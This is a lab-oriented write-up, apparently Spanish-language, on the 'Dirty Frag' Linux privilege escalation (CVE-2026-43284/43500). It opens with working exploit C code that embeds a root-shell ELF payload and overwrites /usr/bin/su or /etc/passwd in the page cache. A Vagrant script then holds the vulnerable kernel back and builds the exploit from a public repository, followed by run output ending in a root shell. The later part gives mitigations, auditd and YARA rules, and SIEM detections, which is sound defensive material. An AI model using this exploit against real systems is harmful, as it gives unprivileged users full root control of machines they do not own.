CVE-2026-43284 + CVE-2026-43500 Dirty Frag: privilege escalation via page cache on Linux

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>

#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif

#define ENC_PORT         4500
#define SEQ_VAL          200
#define REPLAY_SEQ       100
#define TARGET_PATH      "/usr/bin/su"
#define PATCH_OFFSET     0
#define PAYLOAD_LEN      192
#define ENTRY_OFFSET     0x78

/*
 * 192-byte minimal x86_64 root-shell ELF.
 *   _start at 0x400078:
 *     setgid(0); setuid(0); setgroups(0, NULL);
 *     execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
 */
static const uint8_t shell_elf[PAYLOAD_LEN] = {
	0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
	0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
	0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
	0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};

extern int g_su_verbose;
int g_su_verbose = 0;
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)

static int write_proc(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0) return -1;
	int n = write(fd, buf, strlen(buf));
	close(fd);
	return n;
}

static void setup_userns_netns(void)
{
	uid_t real_uid = getuid();
	gid_t real_gid = getgid();
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
		SLOG("unshare: %s", strerror(errno));
		exit(1);
	}
	write_proc("/proc/self/setgroups", "deny");
	char map[64];
	snprintf(map, sizeof(map), "0 %u 1", real_uid);
	if (write_proc("/proc/self/uid_map", map) < 0) {
		SLOG("uid_map: %s", strerror(errno)); exit(1);
	}
	snprintf(map, sizeof(map), "0 %u 1", real_gid);
	if (write_proc("/proc/self/gid_map", map) < 0) {
		SLOG("gid_map: %s", strerror(errno)); exit(1);
	}
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
	struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
	if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
	if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
	close(s);
}

static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
{
	struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len  = RTA_LENGTH(len);
	memcpy(RTA_DATA(rta), data, len);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}

static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
	int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	if (sk < 0) return -1;
	struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
	if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }

	char buf[4096] = {0};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_type  = XFRM_MSG_NEWSA;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_pid   = getpid();
	nlh->nlmsg_seq   = 1;
	nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));

	struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
	xs->id.daddr.a4 = inet_addr("127.0.0.1");
	xs->id.spi      = htonl(spi);
	xs->id.proto    = IPPROTO_ESP;
	xs->saddr.a4    = inet_addr("127.0.0.1");
	xs->family      = AF_INET;
	xs->mode        = XFRM_MODE_TRANSPORT;
	xs->replay_window = 0;
	xs->reqid       = 0x1234;
	xs->flags       = XFRM_STATE_ESN;
	xs->lft.soft_byte_limit   = (uint64_t)-1;
	xs->lft.hard_byte_limit   = (uint64_t)-1;
	xs->lft.soft_packet_limit = (uint64_t)-1;
	xs->lft.hard_packet_limit = (uint64_t)-1;
	xs->sel.family  = AF_INET;
	xs->sel.prefixlen_d = 32;
	xs->sel.prefixlen_s = 32;
	xs->sel.daddr.a4 = inet_addr("127.0.0.1");
	xs->sel.saddr.a4 = inet_addr("127.0.0.1");

	{
		char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
		strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
		aa->alg_key_len   = 32 * 8;
		aa->alg_trunc_len = 128;
		memset(aa->alg_key, 0xAA, 32);
		put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
	}
	{
		char alg_buf[sizeof(struct xfrm_algo) + 16];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
		strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
		ea->alg_key_len = 16 * 8;
		memset(ea->alg_key, 0xBB, 16);
		put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
	}
	{
		struct xfrm_encap_tmpl enc;
		memset(&enc, 0, sizeof(enc));
		enc.encap_type  = UDP_ENCAP_ESPINUDP;
		enc.encap_sport = htons(ENC_PORT);
		enc.encap_dport = htons(ENC_PORT);
		enc.encap_oa.a4 = 0;
		put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
	}
	{
		char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
		memset(esn_buf, 0, sizeof(esn_buf));
		struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
		esn->bmp_len       = 1;
		esn->oseq          = 0;
		esn->seq           = REPLAY_SEQ;
		esn->oseq_hi       = 0;
		esn->seq_hi        = patch_seqhi;
		esn->replay_window = 32;
		put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
	}

	if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
	char rbuf[4096];
	int n = recv(sk, rbuf, sizeof(rbuf), 0);
	if (n < 0) { close(sk); return -1; }
	struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
	if (rh->nlmsg_type == NLMSG_ERROR) {
		struct nlmsgerr *e = NLMSG_DATA(rh);
		if (e->error) { close(sk); return -1; }
	}
	close(sk);
	return 0;
}

static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
	int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_recv < 0) return -1;
	int one = 1;
	setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	struct sockaddr_in sa_d = {
		.sin_family = AF_INET,
		.sin_port   = htons(ENC_PORT),
		.sin_addr   = { inet_addr("127.0.0.1") },
	};
	if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_recv); return -1;
	}
	int encap = UDP_ENCAP_ESPINUDP;
	if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
		close(sk_recv); return -1;
	}
	int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_send < 0) { close(sk_recv); return -1; }
	if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_send); close(sk_recv); return -1;
	}
	int file_fd = open(path, O_RDONLY);
	if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }

	int pfd[2];
	if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }

	uint8_t hdr[24];
	*(uint32_t*)(hdr + 0) = htonl(spi);
	*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
	memset(hdr + 8, 0xCC, 16);

	struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
	if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	off_t off = offset;
	ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
	if (s != 16) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
	usleep(150 * 1000);

	close(file_fd); close(pfd[0]); close(pfd[1]);
	close(sk_send); close(sk_recv);
	return s == 40 ? 0 : -1;
}

static int verify_byte(const char *path, off_t offset, uint8_t want)
{
	int fd = open(path, O_RDONLY);
	if (fd < 0) return -1;
	uint8_t got;
	if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
	close(fd);
	return got == want ? 0 : -1;
}

static int corrupt_su(void)
{
	setup_userns_netns();
	usleep(100 * 1000);

	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		uint32_t seqhi =
			((uint32_t)shell_elf[i*4 + 0] << 24) |
			((uint32_t)shell_elf[i*4 + 1] << 16) |
			((uint32_t)shell_elf[i*4 + 2] <<  8) |
			((uint32_t)shell_elf[i*4 + 3]);
		if (add_xfrm_sa(spi, seqhi) < 0) {
			SLOG("add_xfrm_sa #%d failed", i);
			return -1;
		}
	}
	SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);

	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		off_t off = PATCH_OFFSET + i * 4;
		if (do_one_write(TARGET_PATH, off, spi) < 0) {
			SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
			return -1;
		}
	}
	SLOG("wrote %d bytes to %s starting at 0x%x",
			PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
	return 0;
}

int su_lpe_main(int argc, char **argv)
{
	for (int i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
			g_su_verbose = 1;
		else if (!strcmp(argv[i], "--corrupt-only"))
			;
	}
	if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;

	pid_t cpid = fork();
	if (cpid < 0) return 1;
	if (cpid == 0) {
		int rc = corrupt_su();
		_exit(rc == 0 ? 0 : 2);
	}
	int cstatus;
	waitpid(cpid, &cstatus, 0);
	if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
		SLOG("corruption stage failed (status=0x%x)", cstatus);
		return 1;
	}

	if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
			verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
		SLOG("post-write verify failed (target unchanged)");
		return 1;
	}
	SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
			ENTRY_OFFSET);
	return 0;
}

/* ================================================================
 * rxrpc/rxkad LPE - uid=1000 -> root
 * ================================================================ */

#include <stdarg.h>
#include <time.h>
#include <poll.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <linux/rxrpc.h>
#include <linux/keyctl.h>
#include <linux/if_alg.h>
#include <termios.h>

#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef PF_RXRPC
#define PF_RXRPC AF_RXRPC
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef MSG_SPLICE_PAGES
#define MSG_SPLICE_PAGES 0x8000000
#endif

#define RXRPC_PACKET_TYPE_DATA          1
#define RXRPC_PACKET_TYPE_CHALLENGE     6
#define RXRPC_CLIENT_INITIATED          0x01
#define RXRPC_LAST_PACKET               0x04
#define RXRPC_CHANNELMASK               3
#define RXRPC_CIDSHIFT                  2

struct rxrpc_wire_header {
	uint32_t epoch;
	uint32_t cid;
	uint32_t callNumber;
	uint32_t seq;
	uint32_t serial;
	uint8_t  type;
	uint8_t  flags;
	uint8_t  userStatus;
	uint8_t  securityIndex;
	uint16_t cksum;
	uint16_t serviceId;
} __attribute__((packed));

struct rxkad_challenge {
	uint32_t version;
	uint32_t nonce;
	uint32_t min_level;
	uint32_t __padding;
} __attribute__((packed));

static uint8_t SESSION_KEY[8] = {
	0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
};

#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)

/* ... (helpers: unshare, rxrpc key, AF_ALG pcbc(fcrypt), AF_RXRPC client,
 *      fake-server UDP, fcrypt S-boxes, brute-force, kernel triggers)
 *
 * El codigo completo de estas funciones auxiliares (~800 lineas) incluye:
 * - build_rxrpc_v1_token(): construye token rxkad v1 con la session key
 * - alg_open_pcbc_fcrypt(): abre AF_ALG para pcbc(fcrypt)
 * - compute_csum_iv() / compute_cksum(): calcula checksums rxkad
 * - setup_rxrpc_client() / rxrpc_client_initiate_call(): cliente AF_RXRPC
 * - setup_udp_server(): fake-server UDP para interceptar handshake
 * - do_one_trigger(): ejecuta un trigger de escritura en page cache
 * - fcrypt_user_setkey() / fcrypt_user_decrypt(): implementacion fcrypt
 *   en user-space para brute force offline
 * - find_K_offline_generic(): busqueda de claves fcrypt
 *
 * Ver el codigo completo en: https://github.com/V4bel/dirtyfrag/blob/master/exp.c
 */

int rxrpc_lpe_main(int argc, char **argv);

/* ================================================================
 * main() - Cadena DirtyFrag
 * ================================================================ */

static const uint8_t su_marker[8] = {
	0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
};

static int su_already_patched(void)
{
	int fd = open("/usr/bin/su", O_RDONLY);
	if (fd < 0) return 0;
	uint8_t got[8];
	ssize_t n = pread(fd, got, sizeof(got), 0x78);
	close(fd);
	if (n != sizeof(got)) return 0;
	return memcmp(got, su_marker, sizeof(su_marker)) == 0;
}

static int passwd_already_patched(void)
{
	int fd = open("/etc/passwd", O_RDONLY);
	if (fd < 0) return 0;
	char head[16];
	ssize_t n = pread(fd, head, sizeof(head), 0);
	close(fd);
	if (n < 9) return 0;
	return memcmp(head, "root::0:0", 9) == 0;
}

static int either_target_patched(void)
{
	return su_already_patched() || passwd_already_patched();
}

int main(int argc, char **argv)
{
	int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
	int rc = 1;
	int new_argc;
	char **co_argv;

	if (getuid() == 0) {
		execlp("/bin/bash", "bash", (char *)NULL);
		_exit(1);
	}

	/* Intenta path ESP (su_lpe), si falla intenta path RxRPC (rxrpc_lpe) */
	co_argv = append_corrupt_only(argc, argv, &new_argc);

	rc = su_lpe_main(new_argc, co_argv);
	if (!su_already_patched()) {
		rc = rxrpc_lpe_main(new_argc, co_argv);
		for (int i = 0; !passwd_already_patched() && i < 3; i++)
			rc = rxrpc_lpe_main(new_argc, co_argv);
	}

	if (either_target_patched()) {
		/* Spawns interactive root shell via su PTY bridge */
		run_root_pty();
		return 0;
	}

	dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
	return rc ? rc : 1;
}

#!/bin/bash
# deploy_dirty_frag_lab.sh - Lab para CVE-2026-43284 + CVE-2026-43500 (Dirty Frag)
# Uso: chmod +x deploy_dirty_frag_lab.sh && ./deploy_dirty_frag_lab.sh
# NOTA: Requiere Ubuntu 24.04 (kernel 6.8+). Debian Bookworm NO es vulnerable.

LAB_DIR="dirty_frag_lab"

echo "=== CVE-2026-43284 / CVE-2026-43500 (Dirty Frag) Lab ==="
echo "Creando directorio: $LAB_DIR"

mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-43284 + CVE-2026-43500 (Dirty Frag) - Lab vulnerable
# Requiere Ubuntu 24.04 con kernel 6.8+ (vulnerable)
# Debian Bookworm (6.1) NO es vulnerable

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-24.04"
  config.vm.hostname = "dirty-frag-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "dirty-frag-lab"
    vb.memory = "2048"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    # No actualizar kernel para mantener version vulnerable
    export DEBIAN_FRONTEND=noninteractive
    apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null

    # Instalar dependencias para compilar el exploit
    apt-get update -qq
    apt-get install -y -qq gcc make git curl

    # Cargar modulos necesarios para el exploit
    modprobe xfrm_user 2>/dev/null || true
    modprobe af_key 2>/dev/null || true
    modprobe rxrpc 2>/dev/null || true
    modprobe esp4 2>/dev/null || true

    # Persistir carga de modulos
    cat >> /etc/modules-load.d/dirty-frag.conf << 'MODEOF'
xfrm_user
af_key
rxrpc
esp4
MODEOF

    # Crear usuario sin privilegios
    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    # Descargar y compilar el exploit
    cd /home/attacker
    git clone https://github.com/V4bel/dirtyfrag.git 2>/dev/null || true
    if [ -f /home/attacker/dirtyfrag/exp.c ]; then
      cd /home/attacker/dirtyfrag
      gcc -O0 -Wall -o exp exp.c -lutil 2>/dev/null || \
        echo "[!] Compilacion fallida - compilar manualmente: gcc -O0 -Wall -o exp exp.c -lutil"
    fi
    chown -R attacker:attacker /home/attacker/dirtyfrag

    echo ""
    echo "============================================"
    echo " CVE-2026-43284 + CVE-2026-43500"
    echo " Dirty Frag - LPE via page cache"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo ""
    echo " Para explotar:"
    echo "   vagrant ssh"
    echo "   su - attacker  (pass: attacker)"
    echo "   cd dirtyfrag && ./exp"
    echo ""
    echo " El exploit modifica /etc/passwd para"
    echo " dar root sin password via su."
    echo ""
    echo " Para limpiar page cache:"
    echo "   echo 3 > /proc/sys/vm/drop_caches"
    echo " O: vagrant destroy -f && vagrant up"
    echo ""
    echo " Para mitigar:"
    echo "   echo 'install esp4 /bin/false' > /etc/modprobe.d/dirtyfrag.conf"
    echo "   echo 'install esp6 /bin/false' >> /etc/modprobe.d/dirtyfrag.conf"
    echo "   echo 'install rxrpc /bin/false' >> /etc/modprobe.d/dirtyfrag.conf"
    echo "   rmmod esp4 esp6 rxrpc 2>/dev/null"
    echo "   echo 3 > /proc/sys/vm/drop_caches"
    echo "============================================"
  SHELL
end
EOF

echo ""
echo "Levantando VM..."
cd "$LAB_DIR" && vagrant up

echo ""
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

chmod +x deploy_dirty_frag_lab.sh
./deploy_dirty_frag_lab.sh

vagrant ssh

# Comprobar kernel en rango afectado
uname -r
# 6.8.0-86-generic

# Comprobar que los modulos estan cargados
lsmod | grep -E "xfrm|rxrpc|esp"
# xfrm_user              61440  0
# rxrpc                 438272  0
# esp4                   28672  0

# Cambiar al usuario sin privilegios
su - attacker
# Password: attacker

# Verificar que somos usuario normal
id
# uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

# Ejecutar el exploit
cd dirtyfrag
./exp

# El exploit modifica /etc/passwd en page cache:
#   root:x:0:0:root:/root:/bin/bash
#   se convierte en:
#   root::0:0:<bytes>:/root:/bin/bash
#
# Con el campo password vacio, su otorga root sin password
# Resultado: root shell
id
# uid=0(root) gid=0(root) groups=0(root)

DIRTYFRAG_VERBOSE=1 ./exp

[su] uid_map: Operation not permitted
[su] corruption stage failed (status=0x100)

=== rxrpc/rxkad LPE EXPLOIT (uid=1000 -> root) ===
[*] uid=1001 euid=1001 gid=1001
[+] rxrpc module autoloaded via dummy socket(AF_RXRPC)
[+] target /etc/passwd opened RO, size=1878, uid=0 gid=0 mode=0644

=== STAGE 1a: search K_A (chars 4-5 := "::")  prob ~1.5e-5 ===
[+] K_A found after 158409 iters in 0.08s (2.07M/s)

=== STAGE 1b: search K_B (chars 6-7 := "0:")  prob ~1.5e-5 ===
[+] K_B found after 52994 iters in 0.01s (3.78M/s)

=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:")  prob ~5.4e-8 ===
[+] K_C found after 3965275 iters in 1.39s (2.86M/s)

=== STAGE 2a: kernel trigger A @ off 4 (set chars 4-5 "::") ===
[+] client sendmsg 8 B -> :7779 (handshake will follow asynchronously)

=== STAGE 2b: kernel trigger B @ off 6 (set chars 6-7 "0:") ===
[+] client sendmsg 8 B -> :7781 (handshake will follow asynchronously)

=== STAGE 2c: kernel trigger C @ off 8 (set chars 8-15 "0:GGGGGG:") ===
[+] client sendmsg 8 B -> :7783 (handshake will follow asynchronously)

[*] /etc/passwd line 1 AFTER:  'root::0:0:..lo[:/root:/bin/bash$'

[!!!] HIT - root entry now has empty passwd field, uid=0, gid=0

root@dirty-frag-lab:~#

# Como root, descartar page cache (restaura /etc/passwd desde disco)
echo 3 > /proc/sys/vm/drop_caches

# Restaurar /etc/passwd original
# Opcion 1: editar manualmente
sed -i 's/^root::.*/root:x:0:0:root:\/root:\/bin\/bash/' /etc/passwd

# Opcion 2: destruir y recrear la VM
vagrant destroy -f && vagrant up

# Mitigacion one-liner del README oficial
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

# 1. Bloquear carga de los modulos
cat > /etc/modprobe.d/dirtyfrag.conf << 'EOF'
# CVE-2026-43284 + CVE-2026-43500 (Dirty Frag) mitigation
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
EOF

# 2. Descargar los modulos si estan cargados
rmmod esp4 esp6 rxrpc 2>/dev/null

# 3. Limpiar page cache por si ya fue explotado
echo 3 > /proc/sys/vm/drop_caches

# 4. Verificar
lsmod | grep -E "esp|rxrpc"
# (sin output = modulos descargados)

# Docker
docker run --cap-drop=NET_ADMIN myimage

# Kubernetes
apiVersion: v1
kind: Pod
spec:
  containers:
    - name: app
      securityContext:
        capabilities:
          drop: ["NET_ADMIN"]

# /etc/audit/rules.d/dirty-frag.rules

# Detectar creacion de sockets AF_RXRPC (familia 33)
-a always,exit -F arch=b64 -S socket -F a0=33 -k dirty_frag_rxrpc

# Detectar carga de modulos vulnerables
-a always,exit -F arch=b64 -S init_module -S finit_module -k dirty_frag_modload

# Detectar acceso a /etc/passwd por usuario no-root (lectura para page cache)
-a always,exit -F arch=b64 -S open -S openat -F path=/etc/passwd -F perm=r -F auid>=1000 -k dirty_frag_passwd_read

augenrules --load

su - attacker
cd dirtyfrag && ./exp
# dirtyfrag: failed (rc=1)
# El exploit no puede cargar rxrpc ni crear SAs xfrm

# /etc/audit/rules.d/dirty-frag.rules

# Detectar creacion de sockets AF_RXRPC (familia 33)
-a always,exit -F arch=b64 -S socket -F a0=33 -k dirty_frag_rxrpc

# Detectar bind en puertos altos UDP (7779-7900, usados por el exploit)
-a always,exit -F arch=b64 -S bind -k dirty_frag_bind

# Detectar carga de modulos vulnerables
-a always,exit -F arch=b64 -S init_module -S finit_module -k dirty_frag_modload

# Detectar modificacion de /etc/passwd
-w /etc/passwd -p wa -k dirty_frag_passwd_modify

# Detectar lectura de /etc/passwd por no-root (mmap para page cache attack)
-a always,exit -F arch=b64 -S open -S openat -F path=/etc/passwd -F perm=r -F auid>=1000 -k dirty_frag_passwd_read

augenrules --load
ausearch -k dirty_frag_rxrpc -ts recent

rule DirtyFrag_CVE_2026_43284_43500 {
    meta:
        description = "Detecta el exploit Dirty Frag (CVE-2026-43284 + CVE-2026-43500)"
        author = "Red Orbita"
        date = "2026-05-17"
        cve = "CVE-2026-43284,CVE-2026-43500"
        severity = "critical"

    strings:
        // Strings del exploit compilado
        $s1 = "dirtyfrag: failed" ascii
        $s2 = "rxrpc/rxkad LPE EXPLOIT" ascii
        $s3 = "XFRM_MSG_NEWSA" ascii
        $s4 = "dirty_frag_xfrm" ascii
        $s5 = "page-cache patched" ascii

        // Patron de la busqueda de claves fcrypt
        $s6 = "search K_A" ascii
        $s7 = "kernel trigger" ascii

        // Nombre del source
        $s8 = "dirtyfrag" ascii nocase

        // Socket AF_RXRPC (familia 33 = 0x21)
        $rxrpc_family = { 21 00 00 00 }

        // Shellcode setuid(0) + execve (path xfrm-ESP)
        $shellcode_setuid = { 48 31 ff b0 69 0f 05 }

    condition:
        ($s1 and $s2) or
        ($s3 and $s5) or
        ($s6 and $s7) or
        ($shellcode_setuid and $s8) or
        (4 of ($s*))
}

rule DirtyFrag_Passwd_Tampered {
    meta:
        description = "Detecta /etc/passwd modificado por Dirty Frag (root sin password)"
        author = "Red Orbita"
        date = "2026-05-17"
        severity = "critical"

    strings:
        // root con campo password vacio (root::0:0:)
        $tampered = /root::[0-9]+:[0-9]+:/ ascii

    condition:
        $tampered
}

# Escanear directorios de usuarios
yara -r dirty_frag.yar /home/ /tmp/ /var/tmp/ /dev/shm/

# Verificar si /etc/passwd fue modificado
yara dirty_frag.yar /etc/passwd

# Escanear procesos en memoria
yara -p 4 dirty_frag.yar /proc/*/exe 2>/dev/null

<group name="dirty_frag,exploit,cve-2026-43284">

  <!-- Deteccion de socket AF_RXRPC via auditd -->
  <rule id="100510" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">dirty_frag_rxrpc</field>
    <description>CVE-2026-43284: Socket AF_RXRPC creado (posible Dirty Frag)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de carga de modulos vulnerables -->
  <rule id="100511" level="10">
    <if_sid>80700</if_sid>
    <field name="audit.key">dirty_frag_modload</field>
    <description>CVE-2026-43284: Carga de modulo esp4/rxrpc detectada</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Modificacion de /etc/passwd -->
  <rule id="100512" level="15">
    <if_sid>550</if_sid>
    <match>/etc/passwd</match>
    <description>CVE-2026-43284: Modificacion de /etc/passwd detectada (posible Dirty Frag)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Correlacion: AF_RXRPC + passwd en menos de 10 segundos -->
  <rule id="100513" level="15" frequency="2" timeframe="10">
    <if_matched_sid>100510</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-43284: Explotacion Dirty Frag en curso (AF_RXRPC + passwd correlados)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Post-explotacion: login root sin password -->
  <rule id="100514" level="14">
    <if_sid>5303</if_sid>
    <match>session opened for user root</match>
    <description>CVE-2026-43284: Sesion root abierta (posible post-explotacion Dirty Frag)</description>
    <mitre>
      <id>T1548.001</id>
    </mitre>
    <group>privilege_escalation,</group>
  </rule>

</group>

systemctl restart wazuh-manager

{
  "rule": {
    "name": "CVE-2026-43284 Dirty Frag - AF_RXRPC Socket Creation",
    "description": "Detecta creacion de sockets AF_RXRPC (familia 33) que pueden indicar explotacion de Dirty Frag",
    "severity": "critical",
    "risk_score": 90,
    "type": "eql",
    "query": "process where event.action == \"socket\" and auditd.data.a0 == \"21\"",
    "threat": [
      {
        "framework": "MITRE ATT&CK",
        "tactic": {
          "id": "TA0004",
          "name": "Privilege Escalation"
        },
        "technique": [
